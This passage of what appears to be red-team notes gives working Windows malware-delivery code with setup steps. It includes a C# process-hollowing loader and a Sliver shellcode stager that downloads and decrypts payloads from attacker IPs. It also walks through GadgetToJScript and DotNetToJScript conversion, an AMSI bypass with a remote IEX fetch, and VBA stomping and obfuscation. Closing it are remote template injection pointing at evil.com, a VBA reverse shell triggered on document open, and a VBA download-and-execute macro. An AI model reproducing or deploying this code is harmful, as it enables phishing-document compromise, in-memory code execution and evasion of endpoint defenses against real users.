ProcessInformation pInfo;
string binaryPath = "C:\\Windows\\System32\\" + binary;
IntPtr funcAddr = CreateProcessA(binaryPath, null, null, null, true, CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo);
IntPtr hProcess = pInfo.hProcess;
IntPtr spaceAddr = VirtualAllocEx(hProcess, new IntPtr(0), size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
int test = 0;
IntPtr size2 = new IntPtr(sc.Length);
bool bWrite = WriteProcessMemory(hProcess, spaceAddr, sc, size2, test);
CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
return;
}
public static byte[] Decompress(byte[] data, string CompressionAlgorithm)
{
byte[] decompressedArray = null;
if (CompressionAlgorithm == "deflate9")
{
using (MemoryStream decompressedStream = new MemoryStream())
{
using (MemoryStream compressStream = new MemoryStream(data))
{
using (DeflateStream deflateStream = new DeflateStream(compressStream, CompressionMode.Decompress))
{
deflateStream.CopyTo(decompressedStream);
}
}
decompressedArray = decompressedStream.ToArray();
}
return decompressedArray;
}
else if (CompressionAlgorithm == "gzip")
{
using (MemoryStream decompressedStream = new MemoryStream())
{
using (MemoryStream compressStream = new MemoryStream(data))
{
using (GZipStream gzipStream = new GZipStream(compressStream, CompressionMode.Decompress))
{
gzipStream.CopyTo(decompressedStream);
}
}
decompressedArray = decompressedStream.ToArray();
}
return decompressedArray;
}
else
{
return data;
}
}
public static byte[] Decrypt(byte[] ciphertext, byte[] AESKey, byte[] AESIV)
{
byte[] key = AESKey;
byte[] IV = AESIV;
using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = key;
aesAlg.IV = IV;
aesAlg.Padding = PaddingMode.None;
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream memoryStream = new MemoryStream(ciphertext))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
{
cryptoStream.Write(ciphertext, 0, ciphertext.Length);
return memoryStream.ToArray();
}
}
}
}
public class WebClientWithTimeout : WebClient
{
protected override WebRequest GetWebRequest(Uri address)
{
WebRequest wr = base.GetWebRequest(address);
wr.Timeout = 50000000; // timeout in milliseconds (ms)
return wr;
}
}
}
}
Build the DLL in Visual Studio.
Get the base64 string of the DLL:
[Convert]::ToBase64String([IO.File]::ReadAllBytes(".\hollow.dll")) | clip
Run it with the following powershell code:
$encodeStr = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...etc"
$decodeStr = [System.Convert]::FromBase64String($encodeStr)
[System.Reflection.Assembly]::Load($decodeStr)
$url = "http://10.0.0.1/test.woff" #stage listener url
$TargetBinary = "dllhost.exe" #the binarry to hollow and inject shellcode into (svchost.exe as an example)
[byte[]]$AESKey = 0x44,0x28,0x47,0x2b,0x4b,0x62,0x50,0x65,0x53,0x68,0x56,0x6d,0x59,0x71,0x33,0x74
[byte[]]$AESIV = 0x38,0x79,0x2f,0x42,0x3f,0x45,0x28,0x47,0x2b,0x4b,0x62,0x50,0x65,0x53,0x68,0x56
$CompressionAlgorithm = "deflate9" # gzip, leave empty for no decompression
[Sl1verLoader.Program]::DownloadAndExecute($url,$TargetBinary,$CompressionAlgorithm,$AESKey,$AESIV)
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
namespace Sliver_stager
{
class Program
{
private static string AESKey = "D(G+KbPeShVmYq3t";
private static string AESIV = "8y/B?E(G+KbPeShV";
private static string url = "http://10.0.0.152:80/test.woff";
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void DownloadAndExecute()
{
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
System.Net.WebClient client = new System.Net.WebClient();
byte[] shellcode = client.DownloadData(url);
List<byte> l = new List<byte> { };
for (int i = 16; i <= shellcode.Length -1; i++) {
l.Add(shellcode[i]);
}
byte[] actual = l.ToArray();
byte[] decrypted;
decrypted = Decrypt(actual, AESKey, AESIV);
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40);
Marshal.Copy(decrypted, 0, addr, decrypted.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
{
byte[] key = Encoding.UTF8.GetBytes(AESKey);
byte[] IV = Encoding.UTF8.GetBytes(AESIV);
using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = key;
aesAlg.IV = IV;
aesAlg.Padding = PaddingMode.None;
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream memoryStream = new MemoryStream(ciphertext))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
{
cryptoStream.Write(ciphertext, 0, ciphertext.Length);
return memoryStream.ToArray();
}
}
}
}
}
}
Run it with the following powershell code:
$assem = [System.Reflection.Assembly]::LoadFrom('C:\Users\user\Desktop\ClassLibrary2.dll')
$class = $assem.GetType('Sliver_stager.Program')
$method = $class.GetMethod("DownloadAndExecute")
$method.Invoke(0, $null)
https://github.com/med0x2e/GadgetToJScript
I had to downgrade the repo for this:
git clone https://github.com/med0x2e/GadgetToJScript.git
cd GadgetToJScript
git checkout 5ac70f6
Modify TestAssemblyLoader.cs
using Microsoft.CSharp;
using System;
using System.CodeDom.Compiler;
using System.Reflection;
using System.Text;
namespace GadgetToJScript
{
class TestAssemblyLoader
{
public static Assembly compile()
{
CSharpCodeProvider provider = new CSharpCodeProvider();
CompilerParameters parameters = new CompilerParameters();
parameters.CompilerOptions = "/unsafe";
parameters.ReferencedAssemblies.Add("System.dll");
parameters.ReferencedAssemblies.Add("System.Core.dll");
parameters.ReferencedAssemblies.Add("System.Runtime.InteropServices.dll");
parameters.ReferencedAssemblies.Add("System.EnterpriseServices.dll");
parameters.ReferencedAssemblies.Add("System.IO.Compression.dll");
string currentDirectory = System.IO.Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location);
string filePath = System.IO.Path.Combine(currentDirectory, "", "payload.txt");
CompilerResults results = provider.CompileAssemblyFromFile(parameters, filePath);
if (results.Errors.HasErrors)
{
StringBuilder sb = new StringBuilder();
foreach (CompilerError error in results.Errors)
{
sb.AppendLine(String.Format("Error ({0}): {1}: {2}", error.ErrorNumber, error.ErrorText, error.Line));
}
throw new InvalidOperationException(sb.ToString());
}
Assembly _compiled = results.CompiledAssembly;
return _compiled;
}
}
}
Build the solution.
Create APC Queue Process Injection payload.txt.
using System;
using System.Runtime.InteropServices;
public class TestClass
{
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint ResumeThread(IntPtr hThread);
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);
public enum ProcessAccessRights
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
public enum ThreadAccess : int
{
TERMINATE = (0x0001),
SUSPEND_RESUME = (0x0002),
GET_CONTEXT = (0x0008),
SET_CONTEXT = (0x0010),
SET_INFORMATION = (0x0020),
QUERY_INFORMATION = (0x0040),
SET_THREAD_TOKEN = (0x0080),
IMPERSONATE = (0x0100),
DIRECT_IMPERSONATION = (0x0200),
THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
}
public enum MemAllocation
{
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000,
MEM_RESET = 0x00080000,
MEM_RESET_UNDO = 0x1000000,
SecCommit = 0x08000000
}
public enum MemProtect
{
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
PAGE_EXECUTE_WRITECOPY = 0x80,
PAGE_NOACCESS = 0x01,
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_WRITECOPY = 0x08,
PAGE_TARGETS_INVALID = 0x40000000,
PAGE_TARGETS_NO_UPDATE = 0x40000000,
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[StructLayout(LayoutKind.Sequential)]
//internal struct STARTUPINFO
public struct STARTUPINFO
{
uint cb;
IntPtr lpReserved;
IntPtr lpDesktop;
IntPtr lpTitle;
uint dwX;
uint dwY;
uint dwXSize;
uint dwYSize;
uint dwXCountChars;
uint dwYCountChars;
uint dwFillAttributes;
public uint dwFlags;
public ushort wShowWindow;
ushort cbReserved;
IntPtr lpReserved2;
IntPtr hStdInput;
IntPtr hStdOutput;
IntPtr hStdErr;
}
public static PROCESS_INFORMATION StartProcess(string binaryPath)
{
uint flags = 0x00000004;
STARTUPINFO startInfo = new STARTUPINFO();
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo);
return procInfo;
}
public TestClass()
{
//Add the shellcode
string b64 = "<Add the Shellcode>";
byte[] shellcode = new byte[] { };
shellcode = Convert.FromBase64String(b64);
uint lpNumberOfBytesWritten = 0;
PROCESS_INFORMATION processInfo = StartProcess("C:/Windows/System32/notepad.exe");
IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId);
IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
if (WriteProcessMemory(pHandle, rMemAddress, shellcode, (uint)shellcode.Length, ref lpNumberOfBytesWritten))
{
IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId);
IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero);
ResumeThread(tHandle);
}
bool hOpenProcessClose = CloseHandle(pHandle);
}
}
Add your payload base64 encoded to the variable b64 in payload.txt.
Copy payload.txt to where GadgetToJScript.exe is located
Run with:
GadgetToJScript.exe -w hta -o test
GadgetToJScript.exe -w js -o test
Or run you own ClassLibrary (see DotNetToJScript) with, the "-b" flag is for .net 4.8+:
.\GadgetToJScript.exe -w vba -o test -a ClassLibrary2.dll -b
https://github.com/TheWover/donut
Download donut and run it in your Loader and base64 encode the generated loader.bin.
cd donut
.\donut.exe .\sliverloader.exe
$filename = "C:\Users\user\loader.bin"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip
Paste the output from your clipboard to the b64 variable in payload.txt.
cscript.exe test.js
mshta.exe test.hta
or
test.hta
https://github.com/tyranid/DotNetToJScript
git clone https://github.com/tyranid/DotNetToJScript.git
or download the latest release (works better than building it)
Build the solution in Visual Studio.
Then run it with:
DotNetToJScript.exe ExampleAssembly.dll -l vbscript -o test.vbs
Run test.vbs
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
public class TestClass
{
private static string AESKey = "D(G+KbPeShVmYq3t";
private static string AESIV = "8y/B?E(G+KbPeShV";
private static string url = "http://10.0.0.1:80/test.woff";
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public TestClass()
{
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
System.Net.WebClient client = new System.Net.WebClient();
byte[] shellcode = client.DownloadData(url);
List<byte> l = new List<byte> { };
for (int i = 16; i <= shellcode.Length - 1; i++)
{
l.Add(shellcode[i]);
}
byte[] actual = l.ToArray();
byte[] decrypted;
decrypted = Decrypt(actual, AESKey, AESIV);
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40);
Marshal.Copy(decrypted, 0, addr, decrypted.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
{
byte[] key = Encoding.UTF8.GetBytes(AESKey);
byte[] IV = Encoding.UTF8.GetBytes(AESIV);
using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = key;
aesAlg.IV = IV;
aesAlg.Padding = PaddingMode.None;
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream memoryStream = new MemoryStream(ciphertext))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
{
cryptoStream.Write(ciphertext, 0, ciphertext.Length);
return memoryStream.ToArray();
}
}
}
}
}
Build it
Then run:
DotNetToJScript.exe ClassLibrary.dll -l vba -o sliv.vba
Bypass AMSI
Import-Module .\Invoke-ReflectivePEInjection.ps1
$PEBytes = [IO.File]::ReadAllBytes('test.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes
With AMSI bypass and IEX:
Bypass AMSI
iex(New-Object net.webclient).DownloadString("https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1")
$PEBytes = [IO.File]::ReadAllBytes('test.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes
https://github.com/outflanknl/EvilClippy
Clone:
git clone https://github.com/outflanknl/EvilClippy.git
Open "Developer Powershell for VS 2022" and go to git folder:
cd EvilClippy
csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
Use EvilClippy to stomp the VBA code to P-code:
EvilClippy.exe -s fakecode.vba macrofile.doc
https://github.com/sevagas/macro_pack
Download latest release of macro_pack.
Use macro_pack to obfuscate VBA code:
.\macro_pack.exe -f C:\Users\revshell.vba -G C:\Users\test_mp.doc -o
https://github.com/JohnWoodman/remoteinjector
The technique is to edit "settings.xml.rels" located in the folder "word_rels". This requires that the document was created from a template. Then you rename the document to ".zip" and extract it. Then you modify the "Target=".
Target=”https://evil.com/malicious.dotm"
Or use the git project.
git clone https://github.com/JohnWoodman/remoteInjector.git
cd remoteInjector
remoteinjector.py -w https://example.com/template.dotm example.docx
'Reverse shell using only Windows API calls, no Powershell, shellcode injection, or dropping exe's.
'Author: John Woodman
'Twitter: @JohnWoodman15
'Replace with your IP and Port
Const ip = "10.0.0.152"
Const port = "9001"
Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To WSADESCRIPTION_LEN) As Byte
szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type
Private Type ADDRINFO
ai_flags As Long
ai_family As Long
ai_socktype As Long
ai_protocol As Long
ai_addrlen As Long
ai_canonName As LongPtr
ai_addr As LongPtr
ai_next As LongPtr
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As String
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Enum af
AF_UNSPEC = 0
AF_INET = 2
AF_IPX = 6
AF_APPLETALK = 16
AF_NETBIOS = 17
AF_INET6 = 23
AF_IRDA = 26
AF_BTH = 32
End Enum
Enum sock_type
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
SOCK_RDM = 4
SOCK_SEQPACKET = 5
End Enum
Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long
Function revShell()
Dim m_wsaData As WSADATA
Dim m_RetVal As Integer
Dim m_Hints As ADDRINFO
Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
Dim pAddrInfo As LongPtr
Dim RetVal As Long
Dim lastError As Long
Dim iRC As Long
Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
If (RetVal <> 0) Then
MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_family = af.AF_UNSPEC
m_Hints.ai_socktype = sock_type.SOCK_STREAM
RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
If (RetVal <> 0) Then
MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_next = pAddrInfo
Dim connected As Boolean: connected = False
Do While m_Hints.ai_next > 0
CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)
m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0)
If (m_ConnSocket = INVALID_SOCKET) Then
revShell = False
Else
Dim connectionResult As Long
connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)
If connectionResult <> SOCKET_ERROR Then
connected = True
Exit Do
End If
closesocket (m_ConnSocket)
revShell = False
End If
Loop
If Not connected Then
revShell = False
RetVal = closesocket(m_ConnSocket)
Call WSACleanup
Exit Function
End If
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Dim pi As PROCESS_INFORMATION
Dim worked As LongPtr
Dim test As Long
worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi)
revShell = worked
End Function
Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer
MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function
Private Sub Document_Open()
Dim success As Boolean
success = revShell()
End Sub
' Declare the necessary constants
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40
Private Const INFINITE As Long = &HFFFFFFFF
' Declare the necessary API functions
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" ( _
ByVal lpAddress As LongPtr, _
ByVal dwSize As LongPtr, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long _
) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "kernel32" ( _
ByVal lpThreadAttributes As LongPtr, _
ByVal dwStackSize As LongPtr, _
ByVal lpStartAddress As LongPtr, _
ByVal lpParameter As LongPtr, _
ByVal dwCreationFlags As Long, _
ByRef lpThreadId As Long _
) As LongPtr
Private Declare PtrSafe Function WaitForSingleObject Lib "kernel32" ( _
ByVal hHandle As LongPtr, _
ByVal dwMilliseconds As Long _
) As Long
Private Declare PtrSafe Function GetCurrentProcess Lib "kernel32" () As LongPtr
Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" ( _
ByVal Destination As LongPtr, _
ByVal Source As LongPtr, _
ByVal Length As Long _
)
Private Declare PtrSafe Function WinHttpOpen Lib "winhttp.dll" ( _
ByVal pwszUserAgent As LongPtr, _
ByVal dwAccessType As Long, _
ByVal pwszProxyName As LongPtr, _
ByVal pwszProxyBypass As LongPtr, _
ByVal dwFlags As Long _
) As LongPtr
Private Declare PtrSafe Function WinHttpConnect Lib "winhttp.dll" ( _
ByVal hSession As LongPtr, _
ByVal pswzServerName As LongPtr, _
ByVal nServerPort As Long, _
ByVal dwReserved As Long _
) As LongPtr
Private Declare PtrSafe Function WinHttpOpenRequest Lib "winhttp.dll" ( _
ByVal hConnect As LongPtr, _
ByVal pwszVerb As LongPtr, _
ByVal pwszObjectName As LongPtr, _
ByVal pwszVersion As LongPtr, _
ByVal pwszReferrer As LongPtr, _
ByVal ppwszAcceptTypes As LongPtr, _
ByVal dwFlags As Long _
) As LongPtr
Private Declare PtrSafe Function WinHttpSendRequest Lib "winhttp.dll" ( _
ByVal hRequest As LongPtr, _
ByVal pwszHeaders As LongPtr, _
ByVal dwHeadersLength As Long, _
ByVal lpOptional As LongPtr, _
ByVal dwOptionalLength As Long, _
ByVal dwTotalLength As Long, _
ByVal dwContext As LongPtr _
) As Long
Private Declare PtrSafe Function WinHttpReceiveResponse Lib "winhttp.dll" ( _
ByVal hRequest As LongPtr, _
ByVal lpReserved As LongPtr _
) As Long
Private Declare PtrSafe Function WinHttpReadData Lib "winhttp.dll" ( _
ByVal hRequest As LongPtr, _
ByVal lpBuffer As Any, _
ByVal dwNumberOfBytesToRead As Long, _
ByRef lpdwNumberOfBytesRead As Long _
) As Long
Private Declare PtrSafe Function WinHttpCloseHandle Lib "winhttp.dll" ( _
ByVal hInternet As LongPtr _
) As Long
Private Function DownloadDLLToMemory(url As String) As Byte()
Dim hSession As LongPtr
Dim hConnect As LongPtr
Dim hRequest As LongPtr
Dim serverName As String
Dim resourcePath As String
Dim delimiterPos As Long
Dim buffer() As Byte
Dim bytesRead As Long
Dim status As Long
Dim contentLength As Long
' Extract server name and resource path from URL
delimiterPos = InStr(8, url, "/")
serverName = Mid(url, 8, delimiterPos - 8)
resourcePath = Mid(url, delimiterPos)
' Open a WinHTTP session
hSession = WinHttpOpen(StrPtr("VBA User Agent"), 0, 0, 0, 0)
If hSession = 0 Then
MsgBox "Failed to open WinHTTP session."
Exit Function
End If
' Connect to the server
hConnect = WinHttpConnect(hSession, StrPtr(serverName), 80, 0)
If hConnect = 0 Then
MsgBox "Failed to connect to server."
WinHttpCloseHandle hSession
Exit Function
End If
' Open an HTTP request
hRequest = WinHttpOpenRequest(hConnect, StrPtr("GET"), StrPtr(resourcePath), 0, 0, 0, 0)
If hRequest = 0 Then
MsgBox "Failed to open HTTP request."
WinHttpCloseHandle hConnect
WinHttpCloseHandle hSession
Exit Function
End If
' Send the request
status = WinHttpSendRequest(hRequest, 0, 0, 0, 0, 0, 0)
If status = 0 Then
MsgBox "Failed to send HTTP request."
WinHttpCloseHandle hRequest
WinHttpCloseHandle hConnect
WinHttpCloseHandle hSession
Exit Function
End If
' Receive the response
status = WinHttpReceiveResponse(hRequest, 0)
If status = 0 Then
MsgBox "Failed to receive HTTP response."
WinHttpCloseHandle hRequest
WinHttpCloseHandle hConnect
WinHttpCloseHandle hSession
Exit Function
End If
' Read the data into a byte array
contentLength = 0
ReDim buffer(0 To 1023) ' Initial allocation
Do
If contentLength Mod 1024 = 0 Then
ReDim Preserve buffer(0 To contentLength + 1023)
End If
status = WinHttpReadData(hRequest, VarPtr(buffer(contentLength)), 1024, bytesRead)
If status = 0 Then
MsgBox "Failed to read data."
WinHttpCloseHandle hRequest
WinHttpCloseHandle hConnect
WinHttpCloseHandle hSession
Exit Function
End If
contentLength = contentLength + bytesRead
Loop While bytesRead > 0
' Resize the buffer to the actual content length
If contentLength > 0 Then
ReDim Preserve buffer(0 To contentLength - 1)
Else
buffer = VBA.Array()
End If
' Clean up
WinHttpCloseHandle (hRequest)
WinHttpCloseHandle (hConnect)
WinHttpCloseHandle (hSession)
DownloadDLLToMemory = buffer
End Function
Function downloadAndExecuteDLL()
Dim url As String
Dim dllBytes() As Byte
Dim lpAddress As LongPtr
Dim lpThreadId As Long
Dim hThread As LongPtr
Dim dwWaitResult As Long
Dim hProcess As LongPtr
' URL of the DLL file to download
url = "http://10.0.0.1/test.woff"
' Download the DLL file into memory
dllBytes = DownloadDLLToMemory(url)
If UBound(dllBytes) < 0 Then
MsgBox "Download failed."
Exit Function
End If
' Get the handle to the current process
hProcess = GetCurrentProcess()
' Allocate memory for the DLL
lpAddress = VirtualAlloc(0, UBound(dllBytes) + 1, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
If lpAddress = 0 Then
MsgBox "VirtualAlloc failed."
Exit Function
End If
' Copy the bytes into the allocated memory
RtlMoveMemory lpAddress, VarPtr(dllBytes(0)), UBound(dllBytes) + 1
' Create a thread to execute the DLL
hThread = CreateThread(0, 0, lpAddress, 0, 0, lpThreadId)
If hThread = 0 Then
MsgBox "CreateThread failed."
Exit Function
End If
' Wait for the thread to complete
dwWaitResult = WaitForSingleObject(hThread, INFINITE)
If dwWaitResult = &HFFFFFFFF Then
MsgBox "WaitForSingleObject failed."
Exit Function
End If
MsgBox "DLL executed successfully."
End Function
